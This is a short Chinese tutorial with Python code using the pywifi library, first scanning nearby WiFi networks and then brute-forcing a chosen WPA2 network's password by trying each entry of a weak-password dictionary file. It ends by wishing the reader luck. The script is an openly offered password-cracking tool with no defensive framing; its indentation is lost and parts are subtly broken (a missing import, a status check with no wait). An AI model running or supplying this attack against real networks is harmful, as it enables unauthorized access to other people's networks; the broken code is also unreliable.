一、扫描当前无线网络环境下信号强度大于-90的WiFi
import pywifi #引入pywifi库及所带常量库
from pywifi import const, Profile
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.scan()
time.sleep(3)
ssid_list = ifaces.scan_results()
for i in ssid_list:
if i.signal>-90:
print(i.ssid,i.signal)
二、指定密码字典,遍历密码字典进行指定WiFi进行密码暴力破解
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
wifistatus = ifaces.status()
print(wifistatus)
# if wifistatus == const.IFACE_DISCONNECTED:
# print('连接')
# else:
with open('./1800常用弱口令字典.txt') as f : #此处替换你自己的字典
for password in f:
if wifistatus != 4:
profile: Profile = pywifi.Profile()
profile.ssid = 'WiFi名称'
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = password
ifaces.remove_all_network_profiles()
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
if ifaces.status() == const.IFACE_CONNECTED:
print('=='*10)
print('QAX-Staff的连接密码%s'%password)
print('=='*10)
else:
print('未连接成功,密码错误')
第三步就是准备密码字典进行猜解了。祝你好运!!!